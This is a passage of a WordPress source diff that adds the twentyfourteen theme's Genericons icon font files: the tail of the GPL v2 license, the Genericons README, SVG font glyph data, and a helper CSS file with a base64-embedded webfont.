+This section is intended to make thoroughly clear what is believed to
+be a consequence of the rest of this License.
+
+  8. If the distribution and/or use of the Program is restricted in
+certain countries either by patents or by copyrighted interfaces, the
+original copyright holder who places the Program under this License
+may add an explicit geographical distribution limitation excluding
+those countries, so that distribution is permitted only in or among
+countries not thus excluded.  In such case, this License incorporates
+the limitation as if written in the body of this License.
+
+  9. The Free Software Foundation may publish revised and/or new versions
+of the General Public License from time to time.  Such new versions will
+be similar in spirit to the present version, but may differ in detail to
+address new problems or concerns.
+
+Each version is given a distinguishing version number.  If the Program
+specifies a version number of this License which applies to it and "any
+later version", you have the option of following the terms and conditions
+either of that version or of any later version published by the Free
+Software Foundation.  If the Program does not specify a version number of
+this License, you may choose any version ever published by the Free Software
+Foundation.
+
+  10. If you wish to incorporate parts of the Program into other free
+programs whose distribution conditions are different, write to the author
+to ask for permission.  For software which is copyrighted by the Free
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+make exceptions for this.  Our decision will be guided by the two goals
+of preserving the free status of all derivatives of our free software and
+of promoting the sharing and reuse of software generally.
+
+                            NO WARRANTY
+
+  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
+FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
+OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
+PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
+OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
+MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
+TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
+PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
+REPAIR OR CORRECTION.
+
+  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
+WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
+REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
+INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
+OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
+TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
+YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
+PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
+POSSIBILITY OF SUCH DAMAGES.
+
+                     END OF TERMS AND CONDITIONS
+
+            How to Apply These Terms to Your New Programs
+
+  If you develop a new program, and you want it to be of the greatest
+possible use to the public, the best way to achieve this is to make it
+free software which everyone can redistribute and change under these terms.
+
+  To do so, attach the following notices to the program.  It is safest
+to attach them to the start of each source file to most effectively
+convey the exclusion of warranty; and each file should have at least
+the "copyright" line and a pointer to where the full notice is found.
+
+    <one line to give the program's name and a brief idea of what it does.>
+    Copyright (C) <year>  <name of author>
+
+    This program is free software; you can redistribute it and/or modify
+    it under the terms of the GNU General Public License as published by
+    the Free Software Foundation; either version 2 of the License, or
+    (at your option) any later version.
+
+    This program is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+    GNU General Public License for more details.
+
+    You should have received a copy of the GNU General Public License along
+    with this program; if not, write to the Free Software Foundation, Inc.,
+    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Also add information on how to contact you by electronic and paper mail.
+
+If the program is interactive, make it output a short notice like this
+when it starts in an interactive mode:
+
+    Gnomovision version 69, Copyright (C) year name of author
+    Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
+    This is free software, and you are welcome to redistribute it
+    under certain conditions; type `show c' for details.
+
+The hypothetical commands `show w' and `show c' should show the appropriate
+parts of the General Public License.  Of course, the commands you use may
+be called something other than `show w' and `show c'; they could even be
+mouse-clicks or menu items--whatever suits your program.
+
+You should also get your employer (if you work as a programmer) or your
+school, if any, to sign a "copyright disclaimer" for the program, if
+necessary.  Here is a sample; alter the names:
+
+  Yoyodyne, Inc., hereby disclaims all copyright interest in the program
+  `Gnomovision' (which makes passes at compilers) written by James Hacker.
+
+  <signature of Ty Coon>, 1 April 1989
+  Ty Coon, President of Vice
+
+This General Public License does not permit incorporating your program into
+proprietary programs.  If your program is a subroutine library, you may
+consider it more useful to permit linking proprietary applications with the
+library.  If this is what you want to do, use the GNU Lesser General
+Public License instead of this License.
Index: /tags/5.0.20/src/wp-content/themes/twentyfourteen/genericons/README.txt
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyfourteen/genericons/README.txt	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyfourteen/genericons/README.txt	(revision 56912)
@@ -0,0 +1,123 @@
+  ___  ____  __ _  ____  ____  __  ___  __   __ _  ____ 
+ / __)(  __)(  ( \(  __)(  _ \(  )/ __)/  \ (  ( \/ ___)
+( (_ \ ) _) /    / ) _)  )   / )(( (__(  O )/    /\___ \
+ \___/(____)\_)__)(____)(__\_)(__)\___)\__/ \_)__)(____/
+
+
+Genericons are vector icons embedded in a webfont designed to be clean and simple keeping with a generic aesthetic.
+
+Use genericons for instant HiDPI, to change icon colors on the fly, or even with CSS effects such as drop-shadows or gradients!
+
+
+_  _ ____ ____ ____ ____ 
+|  | [__  |__| | __ |___ 
+|__| ___] |  | |__] |___ 
+
+
+To use it, place the font folder in your stylesheet directory and paste this in your CSS file:
+
+/* =Genericons, thanks to FontSquirrel.com for conversion!
+-------------------------------------------------------------- */
+@font-face {
+    font-family: 'Genericons';
+    src: url('font/genericons-regular-webfont.eot');
+    src: url('font/genericons-regular-webfont.eot?#iefix') format('embedded-opentype'),
+         url('font/genericons-regular-webfont.woff') format('woff'),
+         url('font/genericons-regular-webfont.ttf') format('truetype'),
+         url('font/genericons-regular-webfont.svg#genericonsregular') format('svg');
+    font-weight: normal;
+    font-style: normal;
+
+}
+
+Note: the above only works if you don't use a CDN. If you do, or don't know what that is, you should use the syntax that's embedded in genericons.css.
+
+From then on, you can create an icon like this:
+
+.my-icon:before {
+	content: '\f101';
+	display: inline-block;
+	-webkit-font-smoothing: antialiased;
+	font: normal 16px/1 'Genericons';
+	vertical-align: top;
+}
+
+This will output a comment icon before every element with the class "my-icon". The "content: '\f101';" part of this CSS is easily copied from the helper tool at http://genericons.com/
+
+You can also use the bundled example.css if you'd rather insert the icons using HTML tags.
+
+
+_  _ ____ ___ ____ ____ 
+|\ | |  |  |  |___ [__  
+| \| |__|  |  |___ ___]
+
+
+Photoshop mockups:
+
+Genericons-Regular.otf found in the root directory of this zip has not been web-font-ified. So you can drop it in your system fonts folder and use the font in Photoshop if you like.
+
+For those of you using Genericons in your Photoshop mockup, remember to delete the old version of the font from Font Book, and grab the new one from the zip file. This also affects using it in your webdesigns: if you have an old version of the font installed locally, that's the font that'll be used in your website as well, so if you're missing icons, check for old versions of the font on your system.
+
+Pixel grid:
+
+Note that Genericons has been designed for a 16x16 pixel grid. That means it'll look sharp at font-size: 16px exactly. It'll also be crisp at multiples thereof, such as 32px or 64px. It'll also look reasonably crisp at in-between font sizes such as 24px or 48px, but not quite as crisp as 16 or 32. Please don't set the font-size to 17px, though, that'll just look terrible.
+
+Also note the CSS property "-webkit-font-smoothing: antialiased". That makes the icons look great in WebKit browsers. Please see http://noscope.com/2012/font-smoothing for more info.
+
+Updates:
+
+We don't often update icons, but do very carefully when we get good feedback suggesting improvements. Please be mindful if you upgrade, and check that the updated icons behave as you intended.
+
+
+
+____ _  _ ____ _  _ ____ ____ _    ____ ____ 
+|    |__| |__| |\ | | __ |___ |    |  | | __ 
+|___ |  | |  | | \| |__] |___ |___ |__| |__] 
+
+V3.0.3:
+Bunch of updates mostly.
+- Two new icons, Dropbox and Fullscreen.
+- Updates to all icons containing an exclamation mark.
+- Updates to Image and Quote.
+- Nicer "Share" icon.
+- Bigger default Linkedin icon.
+
+V3.0.2: 
+A slew of new stuff and updates.
+- Social icons: Skype, Digg, Reddit, Stumbleupon, Pocket.
+- New generic icons: heart, lock and print.
+- New editing icons: code, bold, italic, image
+- New interaction icons: subscribe, unsubscribe, subscribed, reply all, reply, flag.
+- The hyperlink icon has been updated to be clearer, chunkier.
+- The "home" icon has been updated for style, size and clarity.
+- The email icon has been updated for style and clarity, and to fit with the new subscribe icons.
+- The document icon has been updated for style.
+- The "pin" icon has been updated for style and clarity.
+- The Twitter icon has been scaled down to fit with the other social icons.
+
+V3.0.1: 
+Mostly maintenance. 
+- Fixed an issue with the example page that showed an old "top" icon instead of the actual NEW "refresh" icon.
+- Added inverse Google+ and Path.
+- Replaced tabs with spaces in the helper CSS.
+- Changed the Genericons.com copy/paste tool to serve span's instead of div's for casual icon insertion. It's being converted to "inline-block" anyway.
+
+V3.0:
+Mainly maintenance and a few new icons.
+- Fast forward, rewind, PollDaddy, Notice, Info, Help, Portfolio
+- Updated the feed icon. It's a bit smaller now for consistency, the previous one was rather big.
+- So, the previous version numbering, 2.09, wasn't very PHP version compare friendly. So from now on it'll be 3.0, 3.1 etc. Props Ipstenu.
+- Genericons.com now has a mini release blog.
+- The CSS has prettier formatting, props Konstantin Obenland.
+
+V2.09:
+Updated Facebook icon to new version. Updated Instagram logo to use new one-color version. Updated Google+ icon to use same radius as Instagram and Facebook. Added a bunch of new icons, cog, unapprove, cart, media player buttons, tablet, send to tablet.                                            
+
+V2.06:
+Included Base64 encoded version. This is necessary for Genericons to work with CDNs in Firefox. Firefox blocks fonts linked from a different domain. A CDN (typically s.example.com) usually puts the font on a subdomain, and is hence blocked in Firefox.
+
+V2.05:
+Added a bunch of new icons, including upload to cloud, download to cloud, many more.
+
+V2:
+Initial public release
Index: /tags/5.0.20/src/wp-content/themes/twentyfourteen/genericons/font/genericons-regular-webfont.svg
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyfourteen/genericons/font/genericons-regular-webfont.svg	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyfourteen/genericons/font/genericons-regular-webfont.svg	(revision 56912)
@@ -0,0 +1,135 @@
+<?xml version="1.0" standalone="no"?>
+<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd" >
+<svg xmlns="http://www.w3.org/2000/svg">
+<metadata></metadata>
+<defs>
+<font id="genericonsregular" horiz-adv-x="2048" >
+<font-face units-per-em="2048" ascent="1638" descent="-410" />
+<missing-glyph horiz-adv-x="500" />
+<glyph unicode="&#x25fc;" horiz-adv-x="500" d="M0 0z" />
+<glyph unicode="&#xf100;" d="M512 512v128h768v-128h-768zM512 768v128h256v-128h-256zM512 1024v128h640v-128h-640zM512 1280v128h1024v-128h-1024zM896 768v128h640v-128h-640zM1280 1024v128h256v-128h-256z" />
+<glyph unicode="&#xf101;" d="M256 1024q0 209 103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5t-103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5zM768 1024q0 -106 75 -181t181 -75t181 75t75 181t-75 181t-181 75t-181 -75t-75 -181z" />
+<glyph unicode="&#xf102;" d="M128 384v896l512 128l128 256h512l128 -256l512 -128v-896h-1792zM256 1440v160h256v-96zM576 960q0 -185 131.5 -316.5t316.5 -131.5q186 0 317 131.5t131 316.5q0 186 -131 317t-317 131q-185 0 -316.5 -131t-131.5 -317zM704 960q0 133 93.5 226.5t226.5 93.5 t226.5 -93.5t93.5 -226.5q0 -132 -93.5 -226t-226.5 -94t-226.5 94t-93.5 226z" />
+<glyph unicode="&#xf103;" d="M128 512v384h384v-384h-384zM128 1024v384h896v-384h-896zM640 512v384h384v-384h-384zM1152 512v896h896v-896h-896z" />
+<glyph unicode="&#xf104;" d="M512 384v1280l1152 -640z" />
+<glyph unicode="&#xf105;" d="M640 1408q0 159 112.5 271.5t271.5 112.5t271.5 -112.5t112.5 -271.5q0 -124 -71.5 -222t-184.5 -138v-536l-256 -128v664q-113 40 -184.5 138t-71.5 222z" />
+<glyph unicode="&#xf106;" d="M256 896v640h640v-640q0 -212 -150 -362t-362 -150v256q106 0 181 75t75 181h-384zM1152 896v640h640v-640q0 -212 -150 -362t-362 -150v256q106 0 181 75t75 181h-384z" />
+<glyph unicode="&#xf107;" d="M512 704v384q0 97 53 176.5t139 116.5v-151q-64 -57 -64 -142v-384q0 -80 56 -136t136 -56t136 56t56 136v384q0 85 -64 142v151q86 -37 139 -116.5t53 -176.5v-384q0 -133 -93.5 -226.5t-226.5 -93.5t-226.5 93.5t-93.5 226.5zM768 1088v384q0 133 93.5 226.5 t226.5 93.5t226.5 -93.5t93.5 -226.5v-384q0 -97 -53 -176.5t-139 -116.5v151q64 57 64 142v384q0 80 -56 136t-136 56t-136 -56t-56 -136v-384q0 -85 64 -142v-151q-86 37 -139 116.5t-53 176.5z" />
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Index: /tags/5.0.20/src/wp-content/themes/twentyfourteen/genericons/genericons.css
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyfourteen/genericons/genericons.css	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyfourteen/genericons/genericons.css	(revision 56912)
@@ -0,0 +1,197 @@
+/**
+
+	Genericons Helper CSS
+
+*/
+
+
+/**
+ * The font was graciously generated by Font Squirrel (http://www.fontsquirrel.com). We love those guys.
+ */
+
+@font-face {
+    font-family: 'Genericons';
+    src: url('font/genericons-regular-webfont.eot');
+}
+
+@font-face {
+    font-family: 'Genericons';
+    src: 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